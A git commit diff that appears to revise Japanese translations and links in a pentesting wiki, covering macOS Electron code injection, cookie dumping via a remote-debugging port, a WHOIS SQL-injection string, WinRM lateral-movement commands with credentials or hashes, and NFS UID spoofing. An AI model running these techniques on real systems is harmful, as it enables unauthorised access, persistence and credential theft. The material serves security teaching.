Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-01-11 18:56:23 +00:00
parent e66d5e1fbd
commit c9f0763c6a
37 changed files with 667 additions and 661 deletions

View File

@ -289,7 +289,7 @@
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
- [WinRM](windows-hardening/lateral-movement/winrm.md)
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements$$]()
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/index.html$$]()
- [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
- [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
- [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
@ -692,9 +692,9 @@
# ⛈️ Cloud Security
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security$$]()
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology$$]()
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology$$]()
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/index.html$$]()
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/pentesting-cloud-methodology.html$$]()
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.wiki/en/pentesting-ci-cd/pentesting-ci-cd-methodology.html$$]()
# 😎 Hardware/Physical Access

View File

@ -4,17 +4,17 @@
## 基本情報
Electronが何か知らない場合は、[**こちらにたくさんの情報があります**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps)。しかし、今はElectronが**node**を実行することだけを知っておいてください。\
Electronが何か知らない場合は、[**こちらにたくさんの情報があります**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation)。しかし、今はElectronが**node**を実行することだけを知っておいてください。\
そしてnodeには、指定されたファイル以外の**コードを実行させるために使用できる**いくつかの**パラメータ**と**環境変数**があります。
### Electron Fuses
これらの技術については次に説明しますが、最近Electronはそれらを防ぐためにいくつかの**セキュリティフラグ**を追加しました。これらは[**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses)であり、macOSのElectronアプリが**任意のコードを読み込むのを防ぐために使用されるものです**
これらの技術については次に説明しますが、最近Electronはそれらを防ぐためにいくつかの**セキュリティフラグ**を追加しました。これらは[**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses)であり、macOSのElectronアプリが**任意のコードを読み込むのを防ぐために使用される**ものです:
- **`RunAsNode`**: 無効にすると、コードを注入するための環境変数**`ELECTRON_RUN_AS_NODE`**の使用が防止されます。
- **`EnableNodeCliInspectArguments`**: 無効にすると、`--inspect``--inspect-brk`のようなパラメータ尊重されません。この方法でコードを注入するのを避けます。
- **`EnableEmbeddedAsarIntegrityValidation`**: 有効にすると、読み込まれた**`asar`** **ファイル**がmacOSによって**検証されます**。これにより、このファイルの内容を変更することによる**コード注入**が防止されます。
- **`OnlyLoadAppFromAsar`**: これが有効になっている場合、次の順序で読み込むのではなく:**`app.asar`**、**`app`**、そして最後に**`default_app.asar`**。app.asarのみをチェックして使用するため、**`embeddedAsarIntegrityValidation`**フューズと組み合わせることで**検証されていないコードを読み込むことが不可能**になります。
- **`EnableNodeCliInspectArguments`**: 無効にすると、`--inspect``--inspect-brk`のようなパラメータ尊重されません。この方法でコードを注入するのを避けます。
- **`EnableEmbeddedAsarIntegrityValidation`**: 有効にすると、読み込まれた**`asar`** **ファイル**はmacOSによって**検証**されます。この方法でこのファイルの内容を変更することによる**コード注入**を防ぎます。
- **`OnlyLoadAppFromAsar`**: これが有効になっている場合、次の順序で読み込むのを探すのではなく:**`app.asar`**、**`app`**、そして最後に**`default_app.asar`**。app.asarのみをチェックして使用するため、**`embeddedAsarIntegrityValidation`**フューズと組み合わせることで**検証されていないコードを読み込むことが不可能**になります。
- **`LoadBrowserProcessSpecificV8Snapshot`**: 有効にすると、ブラウザプロセスは`browser_v8_context_snapshot.bin`というファイルをV8スナップショットに使用します。
コード注入を防がないもう一つの興味深いフューズは:
@ -37,22 +37,22 @@ EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
```
### Electron フューズの変更
### Electron Fuseの変更
[**ドキュメントに記載されているように**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode)、**Electron フューズ**の設定は、**Electron バイナリ**内にあり、どこかに文字列 **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** が含まれています。
[**ドキュメントに記載されているように**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode)、**Electron Fuse**の設定は、**Electronバイナリ**内にあり、どこかに文字列**`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**が含まれています。
macOS アプリケーションでは、通常 `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` にあります。
macOSアプリケーションでは、通常、`application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`にあります。
```bash
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
```
このファイルを[https://hexed.it/](https://hexed.it/)にロードし、前の文字列を検索できます。この文字列の後に、各ヒューズが無効か有効かを示すASCIIの数字「0」または「1」が表示されます。ヒューズの値を**変更する**には、16進数コード`0x30``0``0x31``1`)を変更してください。
このファイルを[https://hexed.it/](https://hexed.it/)にロードし、前の文字列を検索できます。この文字列の後に、各ヒューズが無効または有効であることを示すASCIIの数字「0」または「1」が表示されます。ヒューズの値を**変更する**には、16進数コード`0x30``0``0x31``1`)を変更してください。
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
**`Electron Framework`**バイナリをこれらのバイトを変更してアプリケーション内に**上書き**しようとすると、アプリは実行されないことに注意してください。
**`Electron Framework`**バイナリをこれらのバイトを変更してアプリケーション内に**上書き**しようとすると、アプリは実行されませんので注意してください。
## RCEコードをElectronアプリケーションに追加する
## RCEをElectronアプリケーションにコードを追加する
Electronアプリが使用している**外部JS/HTMLファイル**がある可能性があるため、攻撃者はこれらのファイルにコードを注入し、その署名がチェックされないため、アプリのコンテキストで任意のコードを実行できます。
@ -60,17 +60,17 @@ Electronアプリが使用している**外部JS/HTMLファイル**がある可
> ただし、現時点では2つの制限があります
>
> - アプリを変更するには**`kTCCServiceSystemPolicyAppBundles`**権限が**必要**であり、デフォルトではこれがもはや可能ではありません。
> - コンパイルされた**`asap`**ファイルは通常、ヒューズ**`embeddedAsarIntegrityValidation`** `と` **`onlyLoadAppFromAsar`**が`有効`です。
> - コンパイルされた**`asap`**ファイルは通常、ヒューズ**`embeddedAsarIntegrityValidation`**および**`onlyLoadAppFromAsar`**が**有効**です。
>
> この攻撃経路をより複雑(または不可能)にします。
**`kTCCServiceSystemPolicyAppBundles`**の要件を回避することは可能で、アプリケーションを別のディレクトリ(例えば**`/tmp`**)にコピーし、フォルダ**`app.app/Contents`**の名前を**`app.app/NotCon`**に変更し、**悪意のある**コードで**asar**ファイルを**変更**し、再び**`app.app/Contents`**に名前を戻して実行することができます。
**`kTCCServiceSystemPolicyAppBundles`**の要件を回避することは可能で、アプリケーションを別のディレクトリ(例えば**`/tmp`**)にコピーし、フォルダ**`app.app/Contents`**の名前を**`app.app/NotCon`**に変更し、**悪意のある**コードで**asar**ファイルを**変更**し、再び**`app.app/Contents`**に名前を戻して実行することができます。
asarファイルからコードを展開するには、次のコマンドを使用できます
```bash
npx asar extract app.asar app-decomp
```
そして、次のように修正した後に再パッケージ化します:
そして、次のように修正した後に再パッケージしてください:
```bash
npx asar pack app-decomp app-new.asar
```
@ -129,7 +129,7 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
### アプリのPlistからのインジェクション
れらのキーを追加することで、plist内のこの環境変数を悪用して永続性を維持できます:
の環境変数をplistで悪用して、持続性を維持するためにこれらのキーを追加できます:
```xml
<dict>
<key>EnvironmentVariables</key>
@ -155,13 +155,13 @@ According to [**this**](https://medium.com/@metnew/why-electron-apps-cant-store-
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
> [!CAUTION]
> フューズ **`EnableNodeCliInspectArguments`** が無効になっている場合、アプリは起動時にノードパラメータ(`--inspect` など)を **無視**します。ただし、環境変数 **`ELECTRON_RUN_AS_NODE`** が設定されている場合は、これもフューズ **`RunAsNode`** が無効になっていると **無視**されます。
> フューズ **`EnableNodeCliInspectArguments`** が無効になっている場合、アプリは起動時に環境変数 **`ELECTRON_RUN_AS_NODE`** が設定されていない限り、ノードパラメータ(`--inspect` など)を **無視** します。このフューズ **`RunAsNode`** が無効になっている場合、環境変数も **無視** されます。
>
> しかし、**electron パラメータ `--remote-debugging-port=9229`** を使用することで、Electronアプリから**履歴**GETコマンドを使用やブラウザの**クッキー**を盗むことが可能ですが、前のペイロードは他のプロセスを実行するためには機能しません。
> ただし、**electron パラメータ `--remote-debugging-port=9229`** を使用することで、Electronアプリから **履歴**GETコマンドを使用やブラウザの **クッキー** を盗むことが可能ですが、前のペイロードは他のプロセスを実行するためには機能しません。
パラメータ **`--remote-debugging-port=9222`** を使用することで、Electronアプリから**履歴**GETコマンドを使用やブラウザの**クッキー**を盗むことが可能です(クッキーはブラウザ内で**復号化**され、クッキーを提供する**jsonエンドポイント**があります)。
パラメータ **`--remote-debugging-port=9222`** を使用することで、Electronアプリから **履歴**GETコマンドを使用やブラウザの **クッキー** を盗むことが可能です(クッキーはブラウザ内で **復号化** され、クッキーを提供する **json エンドポイント** があります)。
その方法については[**こちら**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)と[**こちら**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)で学ぶことができ、自動ツール[WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut)や次のようなシンプルなスクリプトを使用できます:
その方法については [**こちら**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) [**こちら**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) で学ぶことができ、ツール [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) や次のようなシンプルなスクリプトを使用できます:
```python
import websocket
ws = websocket.WebSocket()
@ -169,7 +169,7 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
[**このブログ投稿**](https://hackerone.com/reports/1274695)では、このデバッグが悪用され、ヘッドレスChromeが**任意の場所に任意のファイルをダウンロード**します。
この[**ブログ投稿**](https://hackerone.com/reports/1274695)では、このデバッグが悪用され、ヘッドレスChromeが**任意の場所に任意のファイルをダウンロード**します。
### アプリのPlistからのインジェクション

View File

@ -21,7 +21,7 @@ PORT STATE SERVICE
![](<../images/image (843).png>)
サービスに接続するときに単に Enter を押すと:
サービスに接続するときにただ Enter を押すと:
![](<../images/image (159).png>)
@ -31,7 +31,7 @@ PORT STATE SERVICE
### Nmap
デフォルトでは (\`-sC\`\`) nmap はすべての実行中のポートのすべてのユーザーを特定します:
デフォルトでは (\`-sC\`\`) nmap は実行中のすべてのポートのすべてのユーザーを特定します:
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0)
@ -62,7 +62,7 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
- `oident`
## ファイル
## Files
identd.conf
@ -78,7 +78,7 @@ Description: Notes for Ident
Note: |
The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection.
https://book.hacktricks.xyz/pentesting/113-pentesting-ident
https://book.hacktricks.wiki/en/network-services-pentesting/113-pentesting-ident.html
Entry_2:
Name: Enum Users

View File

@ -14,7 +14,7 @@
### Name Service
デバイスが NetBIOS ネットワークに参加するためには、ユニークな名前を持っている必要があります。これは、"Name Query" パケットが送信される **ブロードキャストプロセス** を通じて達成されます。異議がなければ、その名前は利用可能と見なされます。あるいは、**Name Service server** に直接問い合わせて名前の利用可能性を確認したり、名前を IP アドレスに解決したりすることができます。`nmblookup``nbtscan`、および `nmap` などのツールが NetBIOS サービスを列挙するために利用され、サーバー名や MAC アドレスが明らかになります。
デバイスが NetBIOS ネットワークに参加するためには、ユニークな名前を持必要があります。これは、"Name Query" パケットが送信される **ブロードキャストプロセス** を通じて達成されます。異議がなければ、その名前は利用可能と見なされます。あるいは、**Name Service server** に直接問い合わせて名前の利用可能性を確認したり、名前を IP アドレスに解決したりすることができます。`nmblookup``nbtscan`、および `nmap` などのツールが NetBIOS サービスを列挙するために利用され、サーバー名や MAC アドレスを明らかにします。
```bash
PORT STATE SERVICE VERSION
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
@ -25,9 +25,9 @@ nmblookup -A <IP>
nbtscan <IP>/30
sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
```
### データグラム配信サービス
### Datagram Distribution Service
NetBIOSデータグラムは、UDPを介した接続なしの通信を可能にし、直接メッセージングまたはすべてのネットワーク名へのブロードキャストをサポートします。このサービスはポート**138/udp**を使用します。
NetBIOSデータグラムは、UDPを介した接続のない通信を可能にし、直接メッセージングすべてのネットワーク名へのブロードキャストをサポートします。このサービスはポート**138/udp**を使用します。
```bash
PORT STATE SERVICE VERSION
138/udp open|filtered netbios-dgm
@ -65,7 +65,7 @@ Session service for connection-oriented communication (port: 139/tcp).
For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address.
https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
https://book.hacktricks.wiki/en/network-services-pentesting/137-138-139-pentesting-netbios.html
Entry_2:
Name: Find Names

View File

@ -4,7 +4,7 @@
## 基本情報
OracleデータベースOracle DBは、Oracle Corporationリレーショナルデータベース管理システムRDBMSです[こちら](https://www.techopedia.com/definition/8711/oracle-database)から)。
OracleデータベースOracle DBは、Oracle Corporationによるリレーショナルデータベース管理システムRDBMSです[こちら](https://www.techopedia.com/definition/8711/oracle-database)から)。
Oracleを列挙する際の最初のステップは、通常デフォルトポート1521/TCP、-15221529でセカンダリリスナーも取得できる場合があります-に存在するTNS-Listenerと通信することです。
```
@ -16,7 +16,7 @@ Oracleを列挙する際の最初のステップは、通常デフォルトポ
1. **バージョン列挙**: 既知の脆弱性を検索するためにバージョン情報を特定します。
2. **TNSリスナーのブルートフォース**: 通信を確立するために必要な場合があります。
3. **SID名の列挙/ブルートフォース**: データベース名SIDを発見します。
4. **資格情報のブルートフォース**: 発見したSIDにアクセスを試みます。
4. **資格情報のブルートフォース**: 発見したSIDにアクセスしようとします。
5. **コード実行**: システム上でコードを実行しようとします。
MSFのOracleモジュールを使用するには、いくつかの依存関係をインストールする必要があります: [**インストール**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap

View File

@ -4,7 +4,7 @@
## 基本情報
OracleデータベースOracle DBは、Oracle Corporationによるリレーショナルデータベース管理システムRDBMSです[こちら](https://www.techopedia.com/definition/8711/oracle-database)から)。
OracleデータベースOracle DBは、Oracle Corporationリレーショナルデータベース管理システムRDBMSです[こちら](https://www.techopedia.com/definition/8711/oracle-database)から)。
Oracleを列挙する際の最初のステップは、通常デフォルトポート1521/TCP、-15221529でセカンダリリスナーも取得できる場合があります-に存在するTNS-Listenerと通信することです。
```
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap

View File

@ -4,9 +4,9 @@
## 基本情報
**WHOIS**プロトコルは、特定のデータベースを通じて**さまざまなインターネットリソースの登録者や保有者について問い合わせるための標準的な方法**として機能します。これらのリソースには、ドメイン名、IPアドレスのブロック、自治システムなどが含まれます。これらに加えて、プロトコルはより広範な情報にアクセスするためにも利用されます。
The **WHOIS** protocol serves as a standard method for **inquiring about the registrants or holders of various Internet resources** through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information.
**デフォルトポート:** 43
**Default port:** 43
```
PORT STATE SERVICE
43/tcp open whois?
@ -18,17 +18,17 @@ whoisサービスがドメインについて持っているすべての情報を
whois -h <HOST> -p <PORT> "domain.tld"
echo "domain.ltd" | nc -vn <HOST> <PORT>
```
WHOISサービスに情報をリクエストする際、使用されているデータベースがレスポンスに表示されることがあります
WHOISサービスに情報をリクエストする際、使用されているデータベースがレスポンスに表示されることがあります
![](<../images/image (301).png>)
また、WHOISサービスは常に情報を保存し抽出するために**データベース**を使用する必要があります。したがって、ユーザーが提供した情報からデータベースを**クエリ**する際に、**SQLインジェクション**が存在する可能性があります。例えば、`whois -h 10.10.10.155 -p 43 "a') or 1=1#"`を実行することで、データベースに保存されている**すべての**情報を**抽出**できるかもしれません。
また、WHOISサービスは常に情報を保存し抽出するために**データベース**を使用する必要があります。したがって、ユーザーが提供した情報からデータベースを**クエリ**する際に、**SQLInjection**が存在する可能性があります。例えば、`whois -h 10.10.10.155 -p 43 "a') or 1=1#"`を実行することで、データベースに保存されている**すべての**情報を**抽出**できるかもしれません。
## Shodan
- `port:43 whois`
## HackTricks 自動コマンド
## HackTricks Automatic Commands
```
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
Port_Number: 43 #Comma separated if there is more than one.
@ -41,7 +41,7 @@ Note: |
The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab

View File

@ -9,7 +9,7 @@
詳細については、以下を確認してください:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.html
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,9 +4,9 @@
## WinRM
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) は、**Microsoftによって強調されたプロトコル**であり、**HTTP(S)を通じてWindowsシステムのリモート管理を可能にし**、その過程でSOAPを活用します。これは基本的にWMIによって動かされ、WMI操作のためのHTTPベースのインターフェースとして自らを提示します。
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) は、**Microsoftによって強調されたプロトコル**であり、HTTP(S)を介して**Windowsシステムのリモート管理**を可能にし、その過程でSOAPを活用します。これは基本的にWMIによって動作し、WMI操作のためのHTTPベースのインターフェースとして機能します。
マシン上にWinRMが存在することで、SSHが他のオペレーティングシステムで機能するのと同様に、PowerShellを介した簡単なリモート管理が可能になります。WinRMが稼働しているかどうかを確認するには、特定のポートが開いているかをチェックすることが推奨されます:
マシン上にWinRMが存在することで、SSHが他のオペレーティングシステムで機能するのと同様に、PowerShellを介した簡単なリモート管理が可能になります。WinRMが動作しているかどうかを確認するには、特定のポートが開いているかをチェックすることが推奨されます:
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
@ -15,7 +15,7 @@
### **WinRMセッションの開始**
WinRMのためにPowerShellを構成するには、Microsoftの`Enable-PSRemoting` cmdletが使用され、コンピュータがリモートPowerShellコマンドを受け入れるように設定されます。昇格されたPowerShellアクセスを持つことで、以下のコマンドを実行してこの機能を有効にし、任意のホストを信頼済みとして指定することができます:
WinRMのためにPowerShellを構成するには、Microsoftの`Enable-PSRemoting` cmdletが使用され、コンピュータがリモートPowerShellコマンドを受け入れるように設定されます。昇格されたPowerShellアクセスを持っている場合、次のコマンドを実行してこの機能を有効にし、任意のホストを信頼済みとして指定できます:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
@ -36,11 +36,11 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
```bash
Test-WSMan <target-ip>
```
プロトコルバージョンとwsmidに関する情報が含まれており、WinRMが正しく設定されていることを示します。
プロトコルバージョンとwsmidに関する情報が含まれており、WinRMが正しく設定されていることを示しています。
![](<../images/image (582).png>)
- 逆に、WinRM設定されていないターゲットの場合、詳細な情報は得られず、適切なWinRM設定がないことが強調されます。
- 逆に、WinRM設定されていないターゲットの場合、詳細な情報は得られず、適切なWinRM設定がないことが強調されます。
![](<../images/image (458).png>)
@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
```
![](<../images/image (151).png>)
現在のPSコンソールのコマンドを**_**Invoke-Command**_を介して**実行することもできます**。ローカルに_**enumeration**_という関数があり、**リモートコンピュータで実行したい**場合は、次のようにします:
現在のPSコンソールのコマンドを**_**Invoke-Command**_を介して**実行することもできます。ローカルに**_**enumeration**_という関数があり、リモートコンピュータで**実行したい場合**、次のようにできます:
```powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
@ -95,7 +95,7 @@ PSリモーティングとWinRMを使用するために、コンピュータが
```
### セッションの保存と復元
れは、リモートコンピュータで**言語**が**制約**されている場合、**機能しません**。
の**方法は**、リモートコンピュータで**言語**が**制約されている**場合、**機能しません**。
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
@ -117,7 +117,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
クライアントで試してください([こちら](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)からの情報
クライアントで試してみてください(情報は [here](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server) から):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
@ -142,7 +142,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
```ruby
gem install evil-winrm
```
**ドキュメン**をGitHubで読む: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
**ドキュメンテーション**をGitHubで読む: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
@ -254,7 +254,7 @@ s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html
Entry_2:
Name: Hydra Brute Force

View File

@ -6,9 +6,9 @@
**NFS**は、ユーザーがネットワーク上でファイルにシームレスにアクセスできるように設計された**クライアント/サーバ**システムであり、これらのファイルがローカルディレクトリ内にあるかのように扱います。
このプロトコルの注目すべき点は、組み込みの**認証**や**認可メカニズム**がないことです。代わりに、認可は**ファイルシステム情報**に依存し、サーバは**クライアント提供のユーザー情報**をファイルシステム要求する**認可フォーマット**に正確に変換する役割を担っています。主に**UNIX構文**に従います。
このプロトコルの注目すべき点は、組み込みの**認証**や**認可メカニズム**がないことです。代わりに、認可は**ファイルシステム情報**に依存しており、サーバは**クライアント提供のユーザー情報**をファイルシステム要求する**認可フォーマット**に正確に変換する役割を担っています。主に**UNIX構文**に従います。
認証は一般的に**UNIX `UID`/`GID`識別子とグループメンバーシップ**に依存します。しかし、クライアントとサーバ間の**`UID`/`GID`マッピング**の不一致の可能性があるため、サーバによる追加の検証の余地がありません。その結果、このプロトコルは**信頼されたネットワーク**内での使用に最適です。この認証方法に依存しているためです。
認証は一般的に**UNIX `UID`/`GID`識別子とグループメンバーシップ**に依存しています。しかし、クライアントとサーバ間の**`UID`/`GID`マッピング**の不一致の可能性があるため、サーバによる追加の検証の余地がありません。その結果、このプロトコルは**信頼されたネットワーク**内での使用に最も適しています。この認証方法に依存しているためです。
**デフォルトポート**: 2049/TCP/UDPバージョン4を除き、TCPまたはUDPのみが必要です
```
@ -20,7 +20,7 @@
- **NFSv3**: 一連の改善と共に導入されたNFSv3は、前のバージョンを拡張し、可変ファイルサイズをサポートし、改善されたエラーレポート機能を提供しました。進歩にもかかわらず、NFSv2クライアントとの完全な後方互換性には制限がありました。
- **NFSv4**: NFSシリーズの画期的なバージョンであるNFSv4は、ネットワークを通じたファイル共有を現代化するために設計された一連の機能をもたらしました。注目すべき改善点には、**高セキュリティ**のためのKerberosの統合、ファイアウォールを越えて動作し、ポートマッパーなしでインターネット上で動作する能力、アクセス制御リストACLのサポート、状態ベースの操作の導入が含まれます。そのパフォーマンスの向上とステートフルプロトコルの採用により、NFSv4はネットワークファイル共有技術における重要な進展として際立っています。
- **NFSv4**: NFSシリーズの画期的なバージョンであるNFSv4は、ネットワーク全体でのファイル共有を現代化するために設計された一連の機能をもたらしました。注目すべき改善点には、**高セキュリティ**のためのKerberosの統合、ファイアウォールを越えて動作し、ポートマッパーなしでインターネット上で動作する能力、アクセス制御リストACLのサポート、状態ベースの操作の導入が含まれます。そのパフォーマンスの向上とステートフルプロトコルの採用により、NFSv4はネットワークファイル共有技術における重要な進展として際立っています。
各NFSバージョンは、ネットワーク環境の進化するニーズに対応することを目的として開発されており、セキュリティ、互換性、パフォーマンスを徐々に向上させています。
@ -38,15 +38,15 @@ scanner/nfs/nfsmount #Scan NFS mounts and list permissions
```
### マウント
どの**フォルダー**がサーバーに**利用可能**かを知るには、次のように尋ねます:
どの**フォルダー**がサーバーに**利用可能**であるかを知るには、次のように尋ねることができます:
```bash
showmount -e <IP>
```
次に、次のコマンドを使用してマウントします:
次に、次のようにマウントします:
```bash
mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
```
**バージョン2を使用する**ことを指定する必要があります。なぜなら、それには**認証**や**承認**が**ない**からです。
**バージョン2を使用する**ことを指定する必要があります。なぜなら、**認証**や**承認**が**ない**からです。
**例:**
```bash
@ -55,11 +55,11 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
```
## パーミッション
特定のユーザー(**UID**)のみがアクセスできる**ファイルやフォルダー**を含むフォルダーをマウントすると、**ローカル**にその**UID**を持つユーザーを**作成**し、その**ユーザー**を使用してファイル/フォルダーに**アクセス**できます。
特定のユーザー(**UID**)のみがアクセスできる**ファイルやフォルダー**を含むフォルダーをマウントすると、**ローカル**にその**UID**を持つユーザーを作成し、その**ユーザー**を使用することでファイル/フォルダーに**アクセス**できるようになります。
## NSFShell
ファイルにアクセスするために、UIDGIDを簡単にリスト、マウント、変更するには、[nfsshell](https://github.com/NetDirect/nfsshell)を使用できます。
ファイルにアクセスするために、UIDGIDを簡単にリスト、マウント、変更するには、[nfsshell](https://github.com/NetDirect/nfsshell)を使用できます。
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
@ -70,7 +70,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
```
### 危険な設定
- **読み書き権限 (`rw`):** この設定は、ファイルシステムからの読み取りと書き込みの両方を許可します。このような広範なアクセスを付与することの影響を考慮することが重要です。
- **読み書き権限 (`rw`):** この設定は、ファイルシステムからの読み取りと書き込みの両方を許可します。このような広範なアクセスを許可することの影響を考慮することが重要です。
- **安全でないポートの使用 (`insecure`):** 有効にすると、システムは1024以上のポートを利用できるようになります。この範囲のポートのセキュリティは厳格でない場合があり、リスクが増加します。
@ -104,7 +104,7 @@ mount -t nfs -o ver=2 10.10.10.180:/home /mnt/
cd /mnt
nano into /etc/passwd and change the uid (probably 1000 or 1001) to match the owner of the files if you are not able to get in
